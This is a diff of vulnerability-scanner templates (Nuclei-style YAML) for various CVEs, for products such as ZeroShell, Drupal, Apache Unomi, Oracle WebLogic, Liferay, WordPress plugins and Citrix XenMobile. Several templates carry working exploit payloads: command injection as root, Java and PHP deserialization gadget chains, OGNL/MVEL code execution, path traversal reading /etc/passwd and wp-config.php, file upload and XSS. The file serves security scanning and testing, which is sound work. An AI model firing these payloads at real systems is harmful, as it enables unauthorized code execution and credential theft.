+id: cve-2019-12725
+
+info:
+  name: Zeroshell 3.9.0 Remote Command Execution
+  author: dwisiswant0
+  severity: critical
+  description: |
+    This template exploits an unauthenticated command injection vulnerability
+    found in ZeroShell 3.9.0 in the "/cgi-bin/kerbynet" url.
+    As sudo is configured to execute /bin/tar without a password (NOPASSWD)
+    it is possible to run root commands using the "checkpoint" tar options.
+  references: |
+    - https://www.tarlogic.com/advisories/zeroshell-rce-root.txt
+    - https://github.com/X-C3LL/PoC-CVEs/blob/master/CVE-2019-12725/ZeroShell-RCE-EoP.py
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0A%2Fetc%2Fsudo+tar+-cf+%2Fdev%2Fnull+%2Fdev%2Fnull+--checkpoint%3d1+--checkpoint-action%3dexec%3d%22id%22%0A%27"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"
@@ -16,7 +16,6 @@ requests:
        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
-        Accept-Encoding: gzip, deflate
        Referer: https://{{Hostname}}/
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 73
@@ -1,29 +0,0 @@
-id: cve-2019-15858
-
-info:
-  name: Unauthenticated Woody Ad Snippets WordPress Plugin RCE
-  author: dwisiswant0
-  severity: high
-  description: |
-    This template supports the detection part only. See references.
-
-    admin/includes/class.import.snippet.php in the "Woody ad snippets" plugin
-    before 2.2.5 for WordPress allows unauthenticated options import,
-    as demonstrated by storing an XSS payload for remote code execution.
-
-    Source/References:
-    - https://github.com/GeneralEG/CVE-2019-15858
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/wp-content/plugins/insert-php/readme.txt"
-    matchers-condition: and
-    matchers:
-      - type: status
-        status:
-          - 200
-      - type: word
-        words:
-          - "2.2.5"
-        part: body
@@ -17,7 +17,6 @@ requests:
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
-        Accept-Encoding: gzip, deflate
        Content-Type: application/x-www-form-urlencoded
        Connection: close
        Referer: http://{{Hostname}}/
@@ -30,7 +29,6 @@ requests:
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
-        Accept-Encoding: gzip, deflate
        Content-Type: application/x-www-form-urlencoded
        Connection: close
        Referer: http://{{Hostname}}/login_pic.asp
@@ -44,7 +42,6 @@ requests:
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
-        Accept-Encoding: gzip, deflate
        Content-Type: application/x-www-form-urlencoded
        Connection: close
        Referer: http://{{Hostname}}/login_pic.asp
@@ -17,7 +17,6 @@ requests:
        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
-        Accept-Encoding: gzip, deflate
        Connection: close
        Content-Type: application/json
        Content-Length: 259
@@ -43,7 +42,6 @@ requests:
        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
-        Accept-Encoding: gzip, deflate
        Connection: close
        Upgrade-Insecure-Requests: 1

@@ -13,8 +13,16 @@ requests:
    path:
      - "{{BaseURL}}/data/autosuggest-remote.php?q=<img%20src=x%20onerror=alert(1)>"
      - "{{BaseURL}}/admin/data/autosuggest-remote.php?q=<img%20src=x%20onerror=alert(1)>"
+
+    matchers-condition: and
    matchers:
      - type: word
        words:
          - "<img src=x onerror=alert(1)>"
        part: body
+
+      - type: word
+        words:
+          - "application/json"
+        part: header
+        negative: true
@@ -0,0 +1,24 @@
+id: cve-2019-3402
+
+info:
+  name: Jira - Reflected XSS using searchOwnerUserName parameter.
+  author: pdteam
+  severity: medium
+  description: The ConfigurePortalPages.jspa resource in Jira before version 7.13.3 and from version 8.0.0 before version 8.1.1 allows remote attackers to inject arbitrary HTML or JavaScript via a cross site scripting (XSS) vulnerability in the searchOwnerUserName parameter.
+
+  # Source:- https://gist.github.com/0x240x23elu/891371d46a1e270c7bdded0469d8e09c
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}//secure/ConfigurePortalPages!default.jspa?view=search&searchOwnerUserName=%3Cscript%3Ealert(1)%3C/script%3E&Search=Search"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "<script>alert(1)</script>"
+        part: body
@@ -0,0 +1,40 @@
+id: cve-2019-6340
+
+info:
+  name: Drupal 8 core RESTful Web Services RCE
+  author: madrobot
+  severity: critical
+  description: Some field types do not properly sanitize data from non-form sources in Drupal 8.5.x before 8.5.11 and Drupal 8.6.x before 8.6.10. This can lead to arbitrary PHP code execution in some cases.
+  reference: https://nvd.nist.gov/vuln/detail/CVE-2019-6340
+  product: Drupal
+
+requests:
+  - method: POST
+    path:
+      - '{{BaseURL}}/node/1?_format=hal_json'
+
+    body: '{
+  "link": [
+    {
+      "value": "link",
+      "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:2:\"id\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
+    }
+  ],
+  "_links": {
+    "type": {
+      "href": "http://192.168.1.25/drupal-8.6.9/rest/type/shortcut/default"
+    }
+  }
+}'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "uid="
+          - "gid="
+        condition: and
+        part: body
+      - type: status
+        status:
+          - 200
@@ -17,7 +17,6 @@ requests:
        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
-        Accept-Encoding: gzip, deflate
        DNT: 1
        Connection: close
        Upgrade-Insecure-Requests: 1
@@ -27,7 +26,6 @@ requests:
        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
-        Accept-Encoding: gzip, deflate
        DNT: 1
        Connection: close
        Upgrade-Insecure-Requests: 1
@@ -18,7 +18,6 @@ requests:
          Content-Type: application/json
          Origin: http://{{Hostname}}
          Referer: http://{{Hostname}}/artifactory/webapp/
-          Accept-Encoding: gzip, deflate
          Accept-Language: en-US,en;q=0.9
          Connection: close

@@ -0,0 +1,39 @@
+id: cve-2020-11738
+
+info:
+  name: WordPress Duplicator plugin Directory Traversal
+  author: dwisiswant0
+  severity: high
+  description: |
+    The issue is being actively exploited, and allows attackers
+    to download arbitrary files, such as the wp-config.php file.
+    According to the vendor, the vulnerability was only in two
+    versions v1.3.24 and v1.3.26, the vulnerability wasn't
+    present in versions 1.3.22 and before.
+
+    References:
+    - https://www.tenable.com/blog/duplicator-wordpress-plugin-vulnerability-exploited-in-the-wild
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=duplicator_download&file=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd"
+      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=duplicator_download&file=%2F..%2Fwp-config.php"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "File Transfer"
+          - "application/octet-stream"
+          - "attachment; filename=\"(wp-config\\.php|passwd)\""
+        condition: and
+        part: header
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+          - "define\\('DB_(NAME|USER|PASSWORD|HOST|CHARSET|COLLATE)'"
+        condition: or
+        part: body
@@ -0,0 +1,60 @@
+id: cve-2020-13942
+
+info:
+  name: Apache Unomi Remote Code Execution
+  author: dwisiswant0
+  severity: critical
+  description: |
+    Remote Code Execution in Apache Unomi.
+    Apache Unomi allows conditions to use OGNL and MVEL scripting which
+    offers the possibility to call static Java classes from the JDK
+    that could execute code with the permission level of the running Java process.
+    This vulnerability affects all versions of Apache Unomi prior to 1.5.2. Apache Unomi users should upgrade to 1.5.2 or later.
+
+    References:
+    - https://securityboulevard.com/2020/11/apache-unomi-cve-2020-13942-rce-vulnerabilities-discovered/
+    - https://twitter.com/chybeta/status/1328912309440311297
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/context.json"
+      - "{{BaseURL}}:8181/context.json"
+    headers:
+      Content-Type: application/json
+    body: |
+      {
+        "filters": [
+          {
+            "id": "nuclei",
+            "filters": [
+              {
+                "condition": {
+                  "parameterValues": {
+                    "nuclei": "script::Runtime.getRuntime().exec('id')"
+                  },
+                  "type": "profilePropertyCondition"
+                }
+              }
+            ]
+          }
+        ],
+        "sessionId": "nuclei"
+      }
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "application/json"
+          - "context-profile-id"
+        condition: and
+        part: header
+      - type: regex
+        regex:
+          - "(profile|session)(Id|Properties|Segments)"
+          - "[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}"
+        condition: and
+        part: body
@@ -0,0 +1,46 @@
+id: cve-2020-14882
+
+info:
+  name: Oracle WebLogic Server Unauthenticated RCE (and Patch Bypass)
+  author: dwisiswant0
+  severity: critical
+  description: |
+    Vulnerability in the Oracle WebLogic Server
+    product of Oracle Fusion Middleware (component: Console).
+    Supported versions that are affected are 10.3.6.0.0,
+    12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0.
+    Easily exploitable vulnerability allows unauthenticated
+    attacker with network access via HTTP to compromise the server.
+    Successful attacks of this vulnerability can result in takeover.
+
+  # References:
+  # - https://testbnull.medium.com/weblogic-rce-by-only-one-get-request-cve-2020-14882-analysis-6e4b09981dbf
+  # - https://twitter.com/jas502n/status/1321416053050667009
+  # - https://youtu.be/JFVDOIL0YtA
+  # - https://github.com/jas502n/CVE-2020-14882#eg
+
+requests:
+  - payloads:
+      exec:
+        - "type C:\\Windows\\win.ini"  # Windows
+        - "cat /etc/passwd"  # *nix
+    raw:
+      - |
+        POST /console/images/%252e%252e%252fconsole.portal HTTP/1.1
+        Host: {{Hostname}}
+        cmd: §exec§
+        Connection: close
+        Content-Type: application/x-www-form-urlencoded; charset=utf-8
+
+        _nfpb=false&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession%28%22var%20m%20%3D%20java.lang.Class.forName%28%22weblogic.work.ExecuteThread%22%29.getDeclaredMethod%28%22getCurrentWork%22%29%3B%20var%20currThread%20%3D%20java.lang.Thread.currentThread%28%29%3B%20var%20currWork%20%3D%20m.invoke%28currThread%29%3B%20var%20f2%20%3D%20currWork.getClass%28%29.getDeclaredField%28%22connectionHandler%22%29%3B%20f2.setAccessible%28true%29%3B%20var%20connectionHandler%20%3D%20f2.get%28currWork%29%3B%20var%20f3%20%3D%20connectionHandler.getClass%28%29.getDeclaredField%28%22request%22%29%3B%20f3.setAccessible%28true%29%3B%20var%20request%20%3D%20f3.get%28connectionHandler%29%3B%20var%20command%20%3D%20request.getHeader%28%22cmd%22%29%3B%20var%20response%20%3D%20request.getResponse%28%29%3B%20var%20isWin%20%3D%20java.lang.System.getProperty%28%22os.name%22%29.toLowerCase%28%29.contains%28%22win%22%29%3B%20var%20listCmd%20%3D%20new%20java.util.ArrayList%28%29%3B%20var%20p%20%3D%20new%20java.lang.ProcessBuilder%28%22%22%29%3B%20if%28isWin%29%7Bp.command%28%22cmd.exe%22%2C%20%22%2Fc%22%2C%20command%29%3B%20%7Delse%7Bp.command%28%22%2Fbin%2Fbash%22%2C%20%22-c%22%2C%20command%29%3B%20%7D%20p.redirectErrorStream%28true%29%3B%20var%20process%20%3D%20p.start%28%29%3B%20var%20output%20%3D%20process.getInputStream%28%29%3B%20var%20scanner%20%3D%20new%20java.util.Scanner%28output%29.useDelimiter%28%22%5C%5C%5C%5CA%22%29%3B%20var%20out%20%3D%20scanner.next%28%29%3B%20var%20outputStream%20%3D%20response.getServletOutputStream%28%29%3B%20outputStream.write%28out.getBytes%28%29%29%3B%20outputStream.flush%28%29%3B%20response.getWriter%28%29.write%28%22%22%29%3B%20currThread.interrupt%28%29%3B%22%29
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+          - "\\[(font|extension|file)s\\]"
+        condition: or
+        part: body
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,37 @@
+id: cve-2020-16846
+
+info:
+  name: SaltStack Shell Injection
+  author: dwisiswant0
+  severity: critical
+  description: |
+    SaltStack Salt through 3002. Sending crafted web requests to the Salt API,
+    with the SSH client enabled, can result in shell injection.
+
+    This template supports the detection part only. See references.
+
+    References:
+    - https://mp.weixin.qq.com/s/R8qw_lWizGyeJS0jOcYXag
+    - https://github.com/vulhub/vulhub/tree/master/saltstack/CVE-2020-16846
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/run"
+      - "{{BaseURL}}:8000/run"
+    body: "token=1337&client=ssh&tgt=*&fun=a&roster=projectdiscovery&ssh_priv=nuclei"
+    headers:
+      Content-Type: application/x-www-form-urlencoded # CherryPy will abort w/o define this header
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 500
+      - type: word
+        words:
+          - "application/json"
+        part: header
+      - type: word
+        words:
+          - "An unexpected error occurred"
+        part: body
@@ -20,6 +20,11 @@ requests:
          - <h1>sample
        part: body

+      - type: word
+        words:
+          - "text/html"
+        part: header
+
      - type: status
        status:
          - 200
@@ -0,0 +1,48 @@
+id: cve-2020-23972
+
+info:
+  name: Joomla! Component GMapFP 3.5 - Unauthenticated Arbitrary File Upload
+  author: dwisiswant0
+  severity: high
+  description: |
+    An attacker can access the upload function of the application
+    without authenticating to the application and also can upload
+    files due the issues of unrestricted file upload which can be
+    bypassed by changing Content-Type & name file too double ext.
+
+  # Source: https://www.exploit-db.com/exploits/49129
+
+requests:
+  - payloads:
+      component:
+        - "com_gmapfp"
+        - "comgmapfp"
+    raw:
+      - |
+        POST /index.php?option=§component§&controller=editlieux&tmpl=component&task=upload_image HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySHHbUsfCoxlX1bpS
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
+        Referer: {{BaseURL}}
+        Connection: close
+
+        ------WebKitFormBoundarySHHbUsfCoxlX1bpS
+        Content-Disposition: form-data; name="option"
+
+        com_gmapfp
+        ------WebKitFormBoundarySHHbUsfCoxlX1bpS
+        Content-Disposition: form-data; name="image1"; filename="nuclei.html.gif"
+        Content-Type: text/html
+
+        projectdiscovery
+
+        ------WebKitFormBoundarySHHbUsfCoxlX1bpS
+        Content-Disposition: form-data; name="no_html"
+
+        no_html
+        ------WebKitFormBoundarySHHbUsfCoxlX1bpS--
+    extractors:
+      - type: regex
+        part: body
+        regex:
+          - "window\\.opener\\.(changeDisplayImage|addphoto)\\(\"(.*?)\"\\);"
@@ -21,4 +21,8 @@ requests:
      - type: word
        words:
          - '"><script>alert(document.domain)</script>'
-        part: body
+        part: body
+      - type: word
+        words:
+          - "text/html"
+        part: header
@@ -0,0 +1,39 @@
+id: cve-2020-26214
+info:
+
+  name: Alerta Authentication Bypass (CVE-2020-26214)
+  author: CasperGN
+  severity: critical
+  description: Alerta prior to version 8.1.0 is prone to Authentication Bypass when using LDAP as authorization provider and the LDAP server accepts Unauthenticated Bind reqests.
+
+  # Reference: https://github.com/advisories/GHSA-5hmm-x8q8-w5jh
+  # Reference: https://tools.ietf.org/html/rfc4513#section-5.1.2
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/api/config'
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - 'name":"Alerta ([0-7]\.[0-9]\.[0-9]|8\.0.[0-9])"'
+          - 'name": "Alerta ([0-7]\.[0-9]\.[0-9]|8\.0.[0-9])"'
+        condition: or
+      - type: regex
+        regex:
+          - 'provider":"ldap"'
+          - 'provider": "ldap"'
+        condition: or
+    extractors:
+      - type: regex
+        part: body
+        name: alerta-version
+        group: 1
+        regex:
+          - 'name":"Alerta ([0-7]\.[0-9]\.[0-9]|8\.0.[0-9])"'
+          - 'name": "Alerta ([0-7]\.[0-9]\.[0-9]|8\.0.[0-9])"'
@@ -0,0 +1,41 @@
+id: cve-2020-4463
+
+info:
+  name: IBM Maximo Asset Management Information Disclosure via XXE
+  author: dwisiswant0
+  severity: high
+  description: |
+    IBM Maximo Asset Management is vulnerable to an
+    XML External Entity Injection (XXE) attack when processing XML data.
+    A remote attacker could exploit this vulnerability to expose
+    sensitive information or consume memory resources.
+
+    References:
+    - https://www.ibm.com/support/pages/security-bulletin-ibm-maximo-asset-management-vulnerable-information-disclosure-cve-2020-4463
+    - https://github.com/Ibonok/CVE-2020-4463
+
+  # This is detection template, use the referenced poc for the exploitation.
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/os/mxperson"
+      - "{{BaseURL}}/meaweb/os/mxperson"
+    body: |
+      <?xml version='1.0' encoding='UTF-8'?>
+      <max:QueryMXPERSON xmlns:max='http://www.ibm.com/maximo'>
+        <max:MXPERSONQuery></max:MXPERSONQuery>
+      </max:QueryMXPERSON>
+    headers:
+      Content-Type: application/xml
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "application/xml"
+        part: header
+      - type: word
+        words:
+          - "QueryMXPERSONResponse"
+          - "MXPERSONSet"
+        part: body
@@ -25,7 +25,7 @@ requests:
        Content-Type: text/xml; charset=UTF-8
        Connection: close

-        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:CTCWebServiceSi"><soapenv:Header/><soapenv:Body><urn:executeSynchronious><identifier><component>sap.com/tc~lm~config~content</component><path>content/Netweaver/ASJava/NWA/SPC/SPC_UserManagement.cproc</path></identifier><contextMessages><baData>{{base64('data')}}</baData><name>userDetails</name></contextMessages></urn:executeSynchronious></soapenv:Body></soapenv:Envelope>
+        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:CTCWebServiceSi"><soapenv:Header/><soapenv:Body><urn:executeSynchronious><identifier><component>sap.com/tc~lm~config~content</component><path>content/Netweaver/ASJava/NWA/SPC/SPC_UserManagement.cproc</path></identifier><contextMessages><baData>{{base64('§data§')}}</baData><name>userDetails</name></contextMessages></urn:executeSynchronious></soapenv:Body></soapenv:Envelope>
    matchers-condition: and
    matchers:
      - type: word
@@ -0,0 +1,41 @@
+id: cve-2020-7318
+
+info:
+  name: McAfee ePolicy Orchestrator Reflected XSS
+  author: dwisiswant0
+  severity: medium
+  description: |
+    Cross-Site Scripting vulnerability in McAfee ePolicy Orchestrator (ePO)
+    prior to 5.10.9 Update 9 allows administrators to inject arbitrary web
+    script or HTML via multiple parameters where the administrator's entries
+    were not correctly sanitized.
+
+    References:
+    - https://swarm.ptsecurity.com/vulnerabilities-in-mcafee-epolicy-orchestrator/
+
+requests:
+  - payloads:
+      port:
+        - "80"
+        - "443"
+        - "8443"
+    raw:
+      - |
+        GET /PolicyMgmt/policyDetailsCard.do?poID=19&typeID=3&prodID=%27%22%3E%3Csvg%2fonload%3dalert(document.domain)%3E HTTP/1.1
+        Host: {{Hostname}}:§port§
+        Connection: close
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "text/html"
+        part: header
+      - type: word
+        words:
+          - "Policy Name"
+          - "'\"><svg/onload=alert(document.domain)>"
+        condition: and
+        part: body
@@ -26,7 +26,7 @@ requests:
    raw:
      - |
        POST /api/jsonws/invoke HTTP/1.1
-        Host: {{Hostname}}:port
+        Host: {{Hostname}}:§port§
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
        Content-Length: 4938
        Accept: */*
@@ -35,8 +35,7 @@ requests:
        Content-Type: application/x-www-form-urlencoded
        Referer: {{BaseURL}}/api/jsonws?contextName=&signature=%2Fexpandocolumn%2Fadd-column-4-tableId-name-type-defaultData
        X-Requested-With: XMLHttpRequest
-        cmd2: command
-        Accept-Encoding: gzip, deflate
+        cmd2: §command§

        cmd=%7B%22%2Fexpandocolumn%2Fadd-column%22%3A%7B%7D%7D&p_auth=nuclei&formDate=1597704739243&tableId=1&name=A&type=1&%2BdefaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource=%7B%22userOverridesAsString%22%3A%22HexAsciiSerializedMap%3AACED0005737200116A6176612E7574696C2E48617368536574BA44859596B8B7340300007870770C000000023F40000000000001737200346F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6B657976616C75652E546965644D6170456E7472798AADD29B39C11FDB0200024C00036B65797400124C6A6176612F6C616E672F4F626A6563743B4C00036D617074000F4C6A6176612F7574696C2F4D61703B7870740003666F6F7372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000057372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E7471007E00037870767200206A617661782E7363726970742E536372697074456E67696E654D616E61676572000000000000000000000078707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000074000B6E6577496E7374616E6365757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007371007E00137571007E00180000000174000A4A61766153637269707474000F676574456E67696E6542794E616D657571007E001B00000001767200106A6176612E6C616E672E537472696E67A0F0A4387A3BB34202000078707371007E0013757200135B4C6A6176612E6C616E672E537472696E673BADD256E7E91D7B470200007870000000017404567661722063757272656E74546872656164203D20636F6D2E6C6966657261792E706F7274616C2E736572766963652E53657276696365436F6E746578745468726561644C6F63616C2E67657453657276696365436F6E7465787428293B0A76617220697357696E203D206A6176612E6C616E672E53797374656D2E67657450726F706572747928226F732E6E616D6522292E746F4C6F7765724361736528292E636F6E7461696E73282277696E22293B0A7661722072657175657374203D2063757272656E745468726561642E6765745265717565737428293B0A766172205F726571203D206F72672E6170616368652E636174616C696E612E636F6E6E6563746F722E526571756573744661636164652E636C6173732E6765744465636C617265644669656C6428227265717565737422293B0A5F7265712E73657441636365737369626C652874727565293B0A766172207265616C52657175657374203D205F7265712E6765742872657175657374293B0A76617220726573706F6E7365203D207265616C526571756573742E676574526573706F6E736528293B0A766172206F757470757453747265616D203D20726573706F6E73652E6765744F757470757453747265616D28293B0A76617220636D64203D206E6577206A6176612E6C616E672E537472696E6728726571756573742E6765744865616465722822636D64322229293B0A766172206C697374436D64203D206E6577206A6176612E7574696C2E41727261794C69737428293B0A7661722070203D206E6577206A6176612E6C616E672E50726F636573734275696C64657228293B0A696628697357696E297B0A20202020702E636F6D6D616E642822636D642E657865222C20222F63222C20636D64293B0A7D656C73657B0A20202020702E636F6D6D616E64282262617368222C20222D63222C20636D64293B0A7D0A702E72656469726563744572726F7253747265616D2874727565293B0A7661722070726F63657373203D20702E737461727428293B0A76617220696E70757453747265616D526561646572203D206E6577206A6176612E696F2E496E70757453747265616D5265616465722870726F636573732E676574496E70757453747265616D2829293B0A766172206275666665726564526561646572203D206E6577206A6176612E696F2E427566666572656452656164657228696E70757453747265616D526561646572293B0A766172206C696E65203D2022223B0A7661722066756C6C54657874203D2022223B0A7768696C6528286C696E65203D2062756666657265645265616465722E726561644C696E6528292920213D206E756C6C297B0A2020202066756C6C54657874203D2066756C6C54657874202B206C696E65202B20225C6E223B0A7D0A766172206279746573203D2066756C6C546578742E676574427974657328225554462D3822293B0A6F757470757453747265616D2E7772697465286279746573293B0A6F757470757453747265616D2E636C6F736528293B0A7400046576616C7571007E001B0000000171007E00237371007E000F737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B020000787000000001737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000077080000001000000000787878%3B%22%7D
    matchers-condition: and
@@ -49,7 +49,7 @@ requests:
        Content-Type: application/xml
        X-NITRO-USER: oY39DXzQ
        X-NITRO-PASS: ZuU9Y9c1
-        rand_key: randkey
+        rand_key: §randkey§

        <appfwprofile><login></login></appfwprofile>

@@ -62,7 +62,7 @@ requests:
        Content-Type: application/xml
        X-NITRO-USER: oY39DXzQ
        X-NITRO-PASS: ZuU9Y9c1
-        rand_key: randkey
+        rand_key: §randkey§

        <clipermission></clipermission>

@@ -0,0 +1,31 @@
+id: cve-2020-8209
+
+info:
+  name: Citrix XenMobile Server Path Traversal
+  author: dwisiswant0
+  severity: high
+  description: |
+    Improper access control in Citrix XenMobile Server 10.12 before RP2,
+    Citrix XenMobile Server 10.11 before RP4, Citrix XenMobile Server 10.10
+    before RP6 and Citrix XenMobile Server before 10.9 RP5 and leads to the ability to read arbitrary files.
+
+    References:
+    - https://swarm.ptsecurity.com/path-traversal-on-citrix-xenmobile-server/
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/jsp/help-sb-download.jsp?sbFileName=../../../etc/passwd"
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+        part: body
+      - type: word
+        words:
+          - "fileDownload=true"
+          - "application/octet-stream"
+          - "attachment;"
+        condition: and
+        part: header
@@ -23,3 +23,7 @@ requests:
      - type: status
        status:
          - 200
+      - type: word
+        words:
+          - "text/html"
+        part: header
@@ -27,3 +27,8 @@ requests:
      - type: status
        status:
          - 200
+
+      - type: word
+        words:
+          - "text/html"
+        part: header
@@ -37,7 +37,7 @@ requests:
        content-type: application/json
        Connection: close

-        {"user":"admin","password":"grafana_password"}
+        {"user":"admin","password":"§grafana_password§"}

     # grafana_password will be replaced with payloads and will attempt admin:prom-operator and admin:admin

@@ -25,7 +25,7 @@ requests:
      - |
        GET /manager/html HTTP/1.1
        Host: {{Hostname}}
-        Authorization: Basic {{base64('username:password')}}
+        Authorization: Basic {{base64('§username§:§password§')}}
        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0
        Accept-Language: en-US,en;q=0.9
        Connection: close
@@ -7,8 +7,10 @@ info:

  # Update the list with more CNAMEs related to azure
  # You need to claim the CNAME in Azure portal (https://portal.azure.com) to confirm the takeover.
+  # Reference:- https://godiego.tech/posts/STO/, kudos to @secfaults for sharing process details.
  # Do not report this without claiming the CNAME.

+
 dns:
  - name: "{{FQDN}}"
    type: A
@@ -0,0 +1,71 @@
+id: mx-service-detector
+
+info:
+  name: E-mail service detector
+  author: binaryfigments
+  severity: info
+  description: Check the email service or spamfilter that is used for a domain.
+
+dns:
+  - name: "{{FQDN}}"
+    type: MX
+    class: inet
+    recursion: true
+    retries: 5
+    matchers-condition: or
+    matchers:
+      - type: word
+        name: "Office 365"
+        words:
+          - "mail.protection.outlook.com"
+      - type: word
+        name: "Google Apps"
+        words:
+          - "aspmx2.googlemail.com"
+          - "aspmx3.googlemail.com"
+          - "alt1.aspmx.l.google.com"
